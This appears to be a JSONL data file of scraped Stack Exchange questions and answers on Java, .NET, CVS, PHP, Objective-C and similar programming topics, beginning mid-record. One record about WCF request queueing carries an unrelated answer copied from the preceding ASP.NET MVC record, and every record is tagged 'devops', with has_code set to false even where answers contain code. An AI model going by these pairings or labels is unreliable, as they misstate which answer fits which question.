Files\\Java\\jdk1.5.0_15\\jre\\bin\\server\\jvm.dll).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:11.380643"}
{"id": "hf_5523075e8b17", "question": "<p>I'd like to know how to - if even possible - reflect what method calls are executed inside the method during execution. I'm especially interested in either external method calls (that is, methods in other classes) or calling some specific method like getDatabaseConnection().</p>\n\n<p>My intention would be to monitor predefined objects' actions inside methods and execute additional code if some specific conditions are met like some method is called with specific values. The monitor would be completely external class or a set of classes with no direct access to the object to be monitored by no other way than reflection.</p>\n", "question_body": "", "answer": "I'd expect\nBCEL\nto be able to do this. From the web site:\nThe Byte Code Engineering Library is\n  intended to give users a convenient\n  possibility to analyze, create, and\n  manipulate (binary) Java class files\n  (those ending with .class).\nThe \"analyze\" part being the important bit here. The JavaDoc isn't visible on the web site (as far as I can see) so I can't easily be sure whether or not it'll help you, but it's a reasonable starting point.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:11.428387"}
{"id": "hf_5610541eafaf", "question": "<p>I'm just in the process of upgrading my Preview 5 application to Beta 1, and I'm nearly there save for this one error when trying to render a control:</p>\n\n<blockquote>\n  <p>'System.Web.Mvc.HtmlHelper' does not\n  contain a definition for\n  'RenderPartial' and no extension\n  method 'RenderPartial' accepting a\n  first argument of type\n  'System.Web.Mvc.HtmlHelper' could be\n  found (are you missing a using\n  directive or an assembly reference?)</p>\n</blockquote>\n\n<p>My markup (in the .aspx View Content Page) is:</p>\n\n<pre><code>&lt;% Html.RenderPartial(\"Controls/UserForm\", ViewData); %&gt;\n</code></pre>\n\n<p>I've tried using Microsoft.Web.Mvc but to no avail.  Does anyone know where Html.RenderPartial has gone, or what alternative I could use?</p>\n", "question_body": "", "answer": "Now fixed - the conflict was a difference in Web.config requirements between Preview 5 and Beta 1.  The following needs to be added into the system.web compilation assemblies node:\n```\n```\n<add assembly=\"System.Web.Mvc, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35\"/>\n```\n```\nAfter this change, all of my old HtmlHelper methods magically came back!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:11.510347"}
{"id": "hf_c49833d51993", "question": "<p>Is using a handrolled POCO queue class using pseudo code</p>\n\n<pre><code>T Dequeue() {\n   lock(syncRoot) { \n      if(queue.Empty) Thread.Wait(); \n   }\n}\n\nvoid Enqueue(T item) {\n   queue.Enqueue(item);\n   Thread.Notify();\n}\n</code></pre>\n\n<p>For WCF is request queueing a scalable approach?</p>\n", "question_body": "", "answer": "Now fixed - the conflict was a difference in Web.config requirements between Preview 5 and Beta 1.  The following needs to be added into the system.web compilation assemblies node:\n```\n```\n<add assembly=\"System.Web.Mvc, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35\"/>\n```\n```\nAfter this change, all of my old HtmlHelper methods magically came back!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:11.534929"}
{"id": "hf_635f6c32b3a8", "question": "<p>Is there an easy way to tell Windows not to display popups on a headless server machine?</p>\n\n<p>Currently occasional application popups are causing my app to freeze because no one is available to press 'Okay' on the console. Just logging to the eventlog would be more than sufficient.</p>\n", "question_body": "", "answer": "It all depends on the kind of popup, from system's message box to custom dialog. So I don't think there is a generic solution to this.\nShould I have the problem, I would use a macro language, like AutoHotkey (or AutoIt), to detect the activation of the popup and automate the click on the discard button.\n[EDIT] Found a ready to use AHK popup blocker:\nNew window (popup) blocker\nPerhaps usable as is, or as a starting point.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:11.610674"}
{"id": "hf_74f8a338c2f8", "question": "<p>And how to fix it. I'd like to log every thrown exception for maintenance purpose.</p>\n", "question_body": "", "answer": "This is a known issue in .Net - Application_Error never fires for a web service. Not sure if there's any reason it would be by design, but it just doesn't work.\nJeff Atwood had a\npost\n(and\nfollow-up\n) about this a few years ago, with the following ideas:\nPut a try-catch block around each web service method\nUse a facade design pattern and include the try-catch in parent objects\nWrite a custom SOAP extension or HTTPModule\nThe only one I care for is the first one, even though it seems like a lot of work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:11.635998"}
{"id": "hf_7efc5b1dfd20", "question": "<p>How can I change the system-default regional settings in windows XP for use by services (run by the system user)?</p>\n\n<p>Regional and Language Options in the control panel modify the settings for the logged-in user. However, services don't use the user's settings - they use the system settings. I know that they can be found in the registry here: </p>\n\n<pre><code>HKEY_USERS\\.DEFAULT\\Control Panel\\International\n</code></pre>\n\n<p>My question is: What mechanism is there for changing the system-language/date/etc from en-us to en-gb?</p>\n", "question_body": "", "answer": "IM not sure if this will help\nFirst type in gpedit.msc from the run command and a dialog box should now open. \nNavigate to User Configuration > Administrative Templates > Control Panel > Regional Settings.\nThis shows the group polcies for the PC/s, maybe you can just set it so en_gb is the only option!!\nGroup Policy is not my strong point, but do a google search and go from there, I would imagine that you should be able to set up who and what can do what from here.\nHTH", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:11.685274"}
{"id": "hf_bbfa0dc56adf", "question": "<p>I am using a microcontroller with a C51 core. I have a fairly timeconsuming and large subroutine that needs to be called every 500ms. An RTOS is not being used. </p>\n\n<p>The way I am doing it right now is that I have an existing Timer interrupt of 10 ms. I set a flag after every 50 interrupts that is checked for being true in the main program loop. If the Flag is true the subroutine is called. The issue is that by the time the program loop comes round to servicing the flag, it is already more than 500ms,sometimes even >515 ms in case of certain code paths. The time taken is not accurately predictable.</p>\n\n<p>Obviously, the subroutine cannot be called from inside the timer interrupt due to that large time it takes to execute.The subroutine takes 50ms to 89ms depending upon various conditions.</p>\n\n<p>Is there a way to ensure that the subroutine is called in exactly 500ms each time?</p>\n", "question_body": "", "answer": "I think you have some conflicting/not-thought-through requirements here.  You say that you can't call this code from the timer ISR because it takes too long to run (implying that it is a lower-priority than something else which would be delayed), but then you are being hit by the fact that something else which should have been lower-priority is delaying it when you run it from the foreground path ('program loop').\nIf this work\nmust\nhappen at exactly 500ms, then run it from the timer routine, and deal with the fall-out from that.  This is effectively what a pre-emptive RTOS would be doing anyway.\nIf you want it to run from the 'program loop', then you will have to make sure than nothing else which runs from that loop ever takes more than the maximum delay you can tolerate - often that means breaking your other long-running work into state-machines which can do a little bit of work per pass through the loop.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:11.739651"}
{"id": "hf_ff55fcdf4177", "question": "<p>I have a <a href=\"http://en.wikipedia.org/wiki/Windows_Forms\" rel=\"noreferrer\">Windows Forms</a> <a href=\"http://www.google.com/search?hl=en&amp;q=TreeView%20msdn&amp;btnG=Search\" rel=\"noreferrer\">TreeView</a> (node, subnodes). Each node contains some additional information in its Tag. Also, each nodes maps a file on the disk. What's the easiest way copy/cut/paste nodes/files in C#?</p>\n\n<p>It would be nice to have some sample code.</p>\n", "question_body": "", "answer": "Consider using the\nClipboard class\n. It features all the methods necessary for putting data on the Windows clipboard and to retrieve data from the Windows clipboard.\n```\n```\nStringCollection paths = new StringCollection();\npaths.Add(\"f:\\\\temp\\\\test.txt\");\npaths.Add(\"f:\\\\temp\\\\test2.txt\");\nClipboard.SetFileDropList(paths);\n```\n```\nThe code above will put the files test.txt and test2.txt for copy on the Windows Clipboard. After executing the code you can navigate to any folder and Paste (\nCtrl\n+\nV\n) the files. This is equivalent to selecting both files in Windows Explorer and selecting copy (\nCtrl\n+\nC\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:11.774156"}
{"id": "hf_743a6081ca0e", "question": "<p>There are a dozen Rails plugins whose goal is to replace fixtures in testing. Here are a few I can think of:</p>\n\n<ul>\n<li>fixture replacement</li>\n<li>factory girl</li>\n<li>factories and workers</li>\n<li>rails scenarios</li>\n<li>fixture-scenarios</li>\n<li>object daddy</li>\n</ul>\n\n<p>There are probably others. Which of these plugins do you prefer and why?</p>\n", "question_body": "", "answer": "I personally use\nFaker\nwith a custom Factory class. This allows me to create my factories, and populate the generated instances with non-static data.\n```\n```\n# spec/factory.rb\nmodule Factory\n  def self.create_offer(options={})\n    Offer.create({\n      :code => Faker::Lorem.words(1),\n      :expires_on => Time.now + (rand(30) + 1).day\n    }.merge(options))\n  end\nend\n\n# spec_helper.rb\nrequire 'faker'\nrequire 'spec/factory'\n\n# In the specs\n@offer = Factory.create_offer(:code => 'TESTING')\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:11.797696"}
{"id": "hf_c2cd96713343", "question": "<p>Objective-C is getting wider use due to its use by Apple for Mac OS X and iPhone development. What are some of your favourite \"hidden\" features of the Objective-C language?</p>\n\n<ul>\n<li>One feature per answer.</li>\n<li>Give an example and short description of the feature, not just a link to documentation.</li>\n<li>Label the feature using a title as the first line.</li>\n</ul>\n", "question_body": "", "answer": "Posing\nObjective-C permits a class to\nentirely replace another class\nwithin an application. The replacing class is said to \"pose as\" the target class. All messages sent to the target class are then instead received by the posing class. There are some restrictions on which classes can pose:\nA class may only pose as one of its direct or indirect superclasses\nThe posing class must not define any new instance variables which are absent from the target class (though it may define or override methods).\nNo messages must have been sent to the target class prior to the posing.\nPosing, similarly to categories, allows\nglobally augmenting existing classes\n. Posing permits two features absent from categories:\nA posing class can call overridden methods through super, thus incorporating the implementation of the target class.\nA posing class can override methods defined in categories.\nAn example:\n```\n```\n@interface CustomNSApplication : NSApplication\n@end\n\n@implementation CustomNSApplication\n- (void) setMainMenu: (NSMenu*) menu\n{\n     // do something with menu\n}\n@end\n\nclass_poseAs ([CustomNSApplication class], [NSApplication class]);\n```\n```\nThis intercepts every invocation of setMainMenu to NSApplication.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:11.821249"}
{"id": "hf_ab3b3b8e9c55", "question": "<p>I would like to have some kind of catch-all exceptions mechanism in the root of my code, so when an app terminates unexpectedly I can still provide some useful logging.</p>\n\n<p>Something along the lines of</p>\n\n<pre><code>static void Main () {\n    if (Debugger.IsAttached)\n        RunApp();\n    else {\n        try {\n            RunApp();\n        }\n        catch (Exception e) {\n            LogException(e);\n            throw;\n        }\n    }\n }\n</code></pre>\n\n<p>While this all works fine, my problem is when I want to attach the debugger after the exception has been raised.</p>\n\n<p>Since the exception escapes to the runtime, windows will prompt to attach visual studio, except, since it has been rethrown, all locals and parameters further up the stack have been lost.</p>\n\n<p>Is there anyway to log these exceptions, while still providing a way to attach the debugger and retain all useful information?</p>\n", "question_body": "", "answer": "Shouldn't simply do a\n```\n```\nException e1 = e;\nLogException(e);\nthrow(e1);\n```\n```\ninside the catch do the trick (at least you can examine the outer exception)?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:11.861277"}
{"id": "hf_da6d62d1733b", "question": "<p>I'm using xsd.exe to make the C# classes for our settings.  I have a setting that is per-server and per-database, so I want the class to behave like Dictionary&lt;string, string[][]&gt;.  So I want to be able to say</p>\n\n<pre><code>string serverName = \"myServer\";\nint databaseId = 1;\nFieldSettings fieldSettings = getFieldSettings();\n\nstring[] fields = fieldSettings[serverName][databaseId];\n</code></pre>\n\n<p>how do I represent that in XSD?</p>\n", "question_body": "", "answer": "This not what\n```\nxsd\n```\nis used for. You can always just add your own indexer to a partial class, and mark it with\n```\n[XmlIgnore]\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:11.957265"}
{"id": "hf_e04752b2828b", "question": "<p>What steps do I need to take to get HTML documentation automatically building via the build step in Visual Studio? I have all the comments in place and the comments.xml file being generated, and Sandcastle installed. I just need to know what to add to the post-build step in order to generate the docs.</p>\n", "question_body": "", "answer": "I recommend you install Sandcastle Help File Builder from\nCodeplex\n.\nYou can run this from the command line, e.g. from a Post-Build event.  The simplest command line is:\n```\n```\n<install-path>\\SandcastleBuilderConsole.exe ProjectName.shfb\n```\n```\nSandcastle is very slow, so I only run it for Release Builds.  To do this, create a Post-Build event with a command something like the following, which passes the configuration name to a batch file:\n```\n```\nCALL \"$(ProjectDir)PostBuild.cmd\" $(ConfigurationName)\n```\n```\nThen inside the batch file you can test if the first argument is \"Release\" and if so run SandcastleBuilderConsole.exe.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:11.980808"}
{"id": "hf_0a130e9d1fea", "question": "<p>Is this doable in either IE7 or Firefox?</p>\n", "question_body": "", "answer": "Try\nthe dimensions jQuery plugin\n.  See\nthis demo\n.\n```\n```\n$('#myelement.').offset();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:12.028858"}
{"id": "hf_91b6a1194634", "question": "<p>How does one execute some VBA code periodically, completely automated?</p>\n", "question_body": "", "answer": "There is an application method that can be used for timing events.  If you want this to occur periodically you'll have to 'reload' the timer after each execution, but that should be pretty straightforward.\n```\n```\nSub MyTimer()\n   Application.Wait Now + TimeValue(\"00:00:05\")\n   MsgBox (\"5 seconds\")\nEnd Sub\n```\n```\n-Adam", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:12.064184"}
{"id": "hf_25d4a742cd12", "question": "<p>We are about to start a new part of the project and there doesn't seem to be a lot of interest in unit testing (and it doesn't feel like they have experienced TDD). I believe it's nearly essential and it makes maintainance much easier.\nSo what are your views?</p>\n\n<p>Thanks</p>\n\n<p>BTW: this is a language agnostic question, however the new project is in Java.</p>\n", "question_body": "", "answer": "Yes. We have been using TDD for a while now. Somehow TDD has grown found on us and we like this incremental approach in order to achieve better code quality. In spite of the initial denial curve where you think it will slow development having consistent and progressive unit testing while writing code is essential in many ways. Writing breaking changes is very difficult to happen because of the framework of regression testings that is being incrementally built. When done right the code is more robust and the confidence in the code and in the whole project is positively affected.\nWriting unit tests nowadays is not for a mere elite. It should be every developer responsibility. The later a bug is found on the code the more it will cost to fix and harder it will be to find. This easily becomes a maintenance nightmare. Having a strong support of unit tests highly reduces this risk.\nCombining the power of unit tests and TDD with a well configured continuous integration system allows for rapid discovery of problems in early phases of the project. A daily build is a must to avoid future and almost sure hassles.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:12.136757"}
{"id": "hf_c91969e377c6", "question": "<p>I have a sproc that returns a single line and column with a text, I need to set this text to a variable, something like:</p>\n\n<pre><code>declare @bla varchar(100)\nselect @bla = sp_Name 9999, 99989999, 'A', 'S', null\n</code></pre>\n\n<p>but of course, this code doesn't work...</p>\n\n<p>thanks!</p>\n", "question_body": "", "answer": "If the stored procedure is returning a single value you could define one of the parameters on the stored procedure to be an OUTPUT variable, and then the stored procedure would set the value of the parameter\n```\n```\nCREATE PROCEDURE dbo.sp_Name\n    @In INT,\n    @Out VARCHAR(100) OUTPUT\n\nAS\nBEGIN\n    SELECT @Out = 'Test'\nEND\nGO\n```\n```\nAnd then, you get the output value as follows\n```\n```\nDECLARE @OUT VARCHAR(100)\nEXEC sp_name 1, @Out OUTPUT\nPRINT @Out\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:12.160704"}
{"id": "hf_9b42b6b02f63", "question": "<p>For a Silverlight 2 webapp. I added a combobox. I have an IEnumerable as Itemsource to populate the combobox. Works fine.</p>\n\n<p>But I would like to add an extra item (\"please select a....\") to the combobox, anyone an idea how this can be done using the Silverlight 2 combobox.</p>\n\n<p>Any more info about using a template for the ComboxboxItems is welcome as well.</p>\n", "question_body": "", "answer": "You can easily insert an item at a desired index location in the Items collection of the ComboBox using the following code.\nTextBlock t = new TextBlock();\n            t.Text = \"Please select....\";\n            combo.Items.Insert(0, t);\nSetting the selected index will set the ComboBox to show your added item by default:\ncombo.SelectedIndex = 0;", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:12.196611"}
{"id": "hf_dbba37e891a2", "question": "<p>What are the established coding standards for JavaScript?</p>\n", "question_body": "", "answer": "I never saw a widely acknowledged JavaScript coding standard out there. We did write our own some time ago and I\npublished it on my blog\nin accordance with my employer.\nKeep in mind that some of the guidelines might be a bit outdated.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:12.244968"}
{"id": "hf_6192474c01ac", "question": "<p>When doing a <code>cvs update</code>, you get a nice summary of the state of the repository, for example:</p>\n\n<pre><code>M src/file1.txt\nM src/file2.txt\nC src/file3.txt\nA src/file4.txt\n? src/file5.txt\n</code></pre>\n\n<p>Is there a way to get this without actually updating? I know there is <code>cvs status</code>, but this is way to verbose:</p>\n\n<pre><code>===================================================================\nFile: file6.txt        Status: Up-to-date\n\nWorking revision:    1.2\nRepository revision: 1.2     /var/cvs/cvsroot/file6.txt,v\nSticky Tag:          (none)\nSticky Date:         (none)\nSticky Options:      (none)\n</code></pre>\n\n<p>I could of course make a script to do the transformation from the latter to the former, but it seems a waste of time since cvs can obviously produce the former.</p>\n", "question_body": "", "answer": "You can use the -n flag to get the update output without actually updating the files. You can also add -q (quiet) to suppress any server messages.\n```\n```\ncvs -q -n update\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:12.280210"}
{"id": "hf_efaccd2535bb", "question": "<p>And by donut caching, I'm refering to <a href=\"http://weblogs.asp.net/scottgu/archive/2006/11/28/tip-trick-implement-donut-caching-with-the-asp-net-2-0-output-cache-substitution-feature.aspx\" rel=\"nofollow noreferrer\">Scott Guthrie's blog post</a> which is awesome.</p>\n\n<p>Does anyone know if that works properly?</p>\n", "question_body": "", "answer": "Note that this technique no longer works as of MVC 2.0. Which sucks.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:12.307190"}
{"id": "hf_1e5cffb23585", "question": "<p>I need a nice JSP editor plugin for Eclipse. What are my choices?</p>\n", "question_body": "", "answer": "Check out this one, it's open source\nhttp://amateras.sourceforge.jp/cgi-bin/fswiki_en/wiki.cgi?page=EclipseHTMLEditor", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:12.372919"}
{"id": "hf_cdecc6782c34", "question": "<p>I have a string column in a database table which maps to an Enum in code.  In my dbml file when I set the \"Type\" to <code>MyTypes.EnumType</code> I get the following error:</p>\n\n<blockquote>\n  <p>Error 1   DBML1005: Mapping between DbType 'VarChar(50) NOT NULL' and\n  Type 'MyTypes.EnumType' in Column 'EnumCol' of Type 'Table1' is not\n  supported.</p>\n</blockquote>\n\n<p>This question:\n<a href=\"https://stackoverflow.com/questions/4939/linq-to-sql-strings-to-enums\">LINQ to SQL strings to enums</a>\nindicates that what I am trying to do is possible, but how is it done?</p>\n", "question_body": "", "answer": "Curious - it should work IIRC; I'll see if I can do a quick example - however, you might want to check that you have the fully-qualified enum name (i.e. including the namespace).\n[update] From\nhere\nit seems that the RTM version shipped with a bug when resolving the enum. One workaround suggested (on that page) was to add the\n```\nglobal::\n```\nprefix. It works fine for me without this workaround, so maybe it is fixed in 3.5 SP1? It also allegedly works fine in 3.5 if you use the unqualified name if the enum is in the same namespace.\n[example] Yup, worked fine: with Northwind, I defined an enum for the shipping country:\n```\n```\nnamespace Foo.Bar\n{\n    public enum MyEnum\n    {\n        France,\n        Belgium,\n        Brazil,\n        Switzerland\n    }\n}\n```\n```\nI then edited the dbml to have:\n```\n```\n<Column Name=\"ShipCountry\" Type=\"Foo.Bar.MyEnum\" DbType=\"NVarChar(15)\" CanBeNull=\"true\" />\n```\n```\nThis generated:\n```\n```\nprivate Foo.Bar.MyEnum _ShipCountry;\n//...\n[Column(Storage=\"_ShipCountry\", DbType=\"NVarChar(15)\", CanBeNull=true)]\npublic Foo.Bar.MyEnum ShipCountry\n{ get {...} set {...} }\n```\n```\nAnd finally wrote a query:\n```\n```\nusing (DataClasses1DataContext ctx = new DataClasses1DataContext())\n{\n    var qry = from order in ctx.Orders\n              where order.ShipCountry == Foo.Bar.MyEnum.Brazil\n                || order.ShipCountry == Foo.Bar.MyEnum.Belgium\n              select order;\n    foreach (var order in qry.Take(10))\n    {\n        Console.WriteLine(\"{0}, {1}\", order.OrderID, order.ShipCountry);\n    }\n}\n```\n```\nWorked fine; results:\n```\n```\n10250, Brazil\n10252, Belgium\n10253, Brazil\n10256, Brazil\n10261, Brazil\n10287, Brazil\n10290, Brazil\n10291, Brazil\n10292, Brazil\n10299, Brazil\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:12.408406"}
{"id": "hf_bd1d039d208f", "question": "<p>When a script runs under Apache, I insert <code>$_SERVER['SERVER_NAME']</code> value into an error reporting e-mail message.</p>\n\n<p>However, if a Web script forks a \"worker\" job with <code>nohup php ...</code>, <code>$_SERVER['SERVER_NAME']</code> appears to be empty there. Thus, if an error occurs, it's reported without a host name.</p>\n\n<p>Can I reliably get the host name by means of PHP, without calling Unix <code>hostname</code> command? </p>\n", "question_body": "", "answer": "php_uname(\"n\")\n(PHP 4 >= 4.0.2, PHP 5)\nphp_uname — Returns information about the\n  operating system PHP is running on\nphp_uname() returns a description of the operating system PHP is\n  running on. This is the same string you see at the very top of the\n  phpinfo() output. For the name of just the operating system, consider\n  using the PHP_OS constant, but keep in mind this constant will contain\n  the operating system PHP was built on.\nOn some older UNIX platforms, it may not be able to determine the\n  current OS information in which case it will revert to displaying the\n  OS PHP was built on. This will only happen if your uname() library\n  call either doesn't exist or doesn't work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:12.434244"}
{"id": "hf_8ee9e677ae7f", "question": "<p>I'm sure this problem has been solved before and I'm curious how its done. I have code in which, when run, I want to scan the contents of a directory and load in functionality.</p>\n\n<p>Specifically, I am working with a scripting engine that I want to be able to add function calls to. I want the core engine to provide very limited functionality. The user should be able to add additional functions through 3rd party libraries, which I want the engine to scan for and load. How is this done?</p>\n", "question_body": "", "answer": "It depends on the platform. On win32, you call\n```\nLoadLibrary\n```\nto load a DLL, then get functions from it with\n```\nGetProcAddress\n```\n. On Unixy platforms, the equivalents are\n```\ndlopen\n```\nand\n```\ndlsym\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:12.494146"}
{"id": "hf_904bd714f0f1", "question": "<p>WPF, Browserlike app.<br>\nI got one page containing a ListView. After calling a PageFunction I add a line to the ListView, and want to scroll the new line into view:</p>\n\n<pre><code>  ListViewItem item = ItemContainerGenerator.ContainerFromIndex(index) as ListViewItem;\n  if (item != null)\n    ScrollIntoView(item);\n</code></pre>\n\n<p>This works. As long as the new line is in view the line gets the focus like it should.</p>\n\n<p>Problem is, things don't work when the line is not visible.<br>\nIf the line is not visible, there is no ListViewItem for the line generated, so ItemContainerGenerator.ContainerFromIndex returns null.</p>\n\n<p>But without the item, how do I scroll the line into view? Is there any way to scroll to the last line (or anywhere) without needing an ListViewItem?</p>\n", "question_body": "", "answer": "I think the problem here is that the ListViewItem is not created yet if the line is not visible. WPF creates the Visible on demand.\nSo in this case you probably get\n```\nnull\n```\nfor the item, do you?\n(According to your comment, you do)\nI have found a\nlink on MSDN forums that suggest accessing the Scrollviewer directly\nin order to scroll. To me the solution presented there looks very much like a hack, but you can decide for yourself.\nHere is the code snippet from the\nlink above\n:\n```\n```\nVirtualizingStackPanel vsp =  \n  (VirtualizingStackPanel)typeof(ItemsControl).InvokeMember(\"_itemsHost\",\n   BindingFlags.Instance | BindingFlags.GetField | BindingFlags.NonPublic, null, \n   _listView, null);\n\ndouble scrollHeight = vsp.ScrollOwner.ScrollableHeight;\n\n// itemIndex_ is index of the item which we want to show in the middle of the view\ndouble offset = scrollHeight * itemIndex_ / _listView.Items.Count;\n\nvsp.SetVerticalOffset(offset);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:12.552290"}
{"id": "hf_3fc0b14353d2", "question": "<p>Now that everyone is talking about MVC, I notice that the business rules are not being addressed. In the old days of the 3-tier architecture, The business rules were in the middle layer. Where do they fall in the new MVC?</p>\n", "question_body": "", "answer": "A quote from a Wikipedia\nArticle\n:\nMVC is often seen in web applications, where the view is the actual HTML page, and the controller is the code that gathers dynamic data and generates the content within the HTML. Finally, the\nmodel\nis represented by the actual content, usually stored in a database or in XML nodes,\nand the business rules\nthat transform that content based on user actions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:12.611195"}
